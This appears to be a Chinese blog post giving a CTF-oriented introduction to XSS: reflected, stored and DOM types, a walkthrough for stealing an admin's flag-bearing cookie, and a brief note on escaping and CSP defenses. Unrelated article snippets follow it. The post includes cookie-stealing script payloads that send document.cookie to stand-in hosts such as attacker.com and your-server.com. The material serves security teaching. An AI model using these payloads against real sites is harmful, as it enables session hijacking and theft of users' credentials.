news 2026/5/1 11:12:52

CTF Web 专项:XSS 跨站脚本攻击快速入门

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Web 专项:XSS 跨站脚本攻击快速入门

CTF Web 专项:XSS 跨站脚本攻击快速入门

XSS(Cross - Site Scripting,跨站脚本攻击)是 Web 安全领域的核心考点,其本质是攻击者向 Web 页面注入恶意脚本(像 JavaScript 脚本),当用户访问该页面时,脚本会被浏览器执行,进而实现窃取用户信息、控制用户行为等目的。在 CTF(夺旗赛)中,常通过 XSS 来获取 Cookie、伪造操作等以拿到 Flag,下面快速讲解核心要点。

一、XSS 核心原理

Web 应用若未对用户输入(比如评论内容、搜索框输入、URL 参数等)进行过滤或者转义处理,攻击者注入的脚本就会被嵌入到页面的源码里。当其他用户访问这个页面时,浏览器会把恶意脚本当作合法代码来执行,从而达成攻击目的(例如窃取 Cookie、进行弹窗诈骗等)。

二、3 类常见 XSS 类型

(一)反射型 XSS

特点:恶意脚本是通过 URL 参数注入的,页面会 “反射” 执行该脚本,且不会持久存储脚本。

CTF 场景:假设 URL 中包含?name=xxx这样的参数,注入<script>alert(1)</script>,当访问这个 URL 时,脚本就会被执行,弹出警告框。

(二)存储型 XSS

特点:恶意脚本会被存储到服务器(比如数据库、文件等地方),所有访问该页面的用户都会触发这个脚本。

CTF 场景:以留言板功能为例,注入<script>document.location='``http://attacker.com/steal?cookie=``'+document.cookie</script>,当管理员查看留言时,Cookie 就会被发送到攻击者的服务器。

(三)DOM 型 XSS

特点:通过修改页面的 DOM 结构来执行脚本,和服务端交互没有关系,属于纯前端漏洞。

CTF 场景:页面中存在document.write(location.hash.substr(1))这样的代码,构造 URL#<script>alert(1)</script>,脚本会被写入页面并执行。

三、CTF 实战:从注入到拿 Flag

以 “反射型 XSS 拿 Flag(目标:窃取管理员 Cookie,Cookie 中包含 Flag)” 为例:

  1. 构造 payload:编写用于窃取 Cookie 的脚本,例如<script>document.location='``http://your-server.com/steal?cookie=``'+document.cookie</script>
  2. 注入 payload:在 URL 参数(比如?name=<script>...</script>)中注入该脚本,生成恶意链接。
  3. 诱导触发:让管理员点击这个恶意链接(在 CTF 中,常因为 “管理员会查看所有提交内容” 的规则,直接提交链接就可触发)。
  4. 获取 Flag:当管理员访问后,包含Flag{xxx}的 Cookie 会发送到your-server.com,从而拿到 Flag。

四、绕过与防御思路

(一)绕过过滤

如果前端或者服务端过滤了<script>等关键字,可通过以下方式绕过:

(二)防御核心

服务端要对用户输入进行严格的过滤、转义(比如把<转成<),或者前端使用CSP(内容安全策略)来限制脚本的来源。

文章来自网上,侵权请联系博主

互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!

网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 7:23:51

Agent Skills 完全指南:从原理到实战彻底搞懂!

Agent Skills 最近非常的火&#xff0c;它是既 MCP 后 Anthropic 推出的又一个 Agent 领域的行业标准。 它的成长路线和 MCP 也非常像&#xff0c;25 年 10 月份发布时只有 Anthropic 自家产品支持&#xff0c;后来 Cursor、Codex、Opencode、Gemini CLI 等产品看到了 Skills …

作者头像 李华
网站建设 2026/4/25 18:44:01

Linux 下 malloc 内存分配机制详解

在 Linux 系统中&#xff0c;malloc() 是 C 语言标准库&#xff08;glibc&#xff09;提供的动态内存分配函数。虽然它看起来只是一个简单的 API&#xff0c;但其底层实现涉及虚拟内存管理、多线程并发控制、性能优化等多个操作系统核心机制。本文将系统讲解 Linux 下 malloc 的…

作者头像 李华
网站建设 2026/4/17 23:57:26

告别低效数据处理:JBoltAI如何赋能Java企业智能化

在Java企业的日常运营中&#xff0c;数据查询与结构化处理始终是绕不开的核心环节。业务人员需要从数据库中提取销售、库存等关键数据时&#xff0c;往往需要依赖开发人员编写SQL语句&#xff1b;大量非结构化的合同、发票、报表数据&#xff0c;也需要人工整理成JSON格式才能对…

作者头像 李华
网站建设 2026/4/29 16:48:03

看完就会:继续教育专用的降AI率工具,千笔AI VS 知文AI

在AI技术快速发展的今天&#xff0c;越来越多的学生和研究者开始借助AI工具辅助论文写作&#xff0c;提升效率、优化内容。然而&#xff0c;随着学术审查标准的不断提高&#xff0c;AI生成内容的痕迹逐渐被识别&#xff0c;AI率超标成为影响论文通过的重要隐患。面对查重系统对…

作者头像 李华
网站建设 2026/5/1 7:11:58

centos 7.9 ISO下载链接

最近在一台DELL台式机上安装rocky linux 9.5和rocky linux 8.10,都出现了错误。 而采用centos 7.9没有问题。 我是用DVD安装的&#xff0c;但是安装完成之后做KVM的环境还需要ISO。 下面是ISO的链接&#xff1a; https://vault.centos.org/7.9.2009/isos/x86_64/

作者头像 李华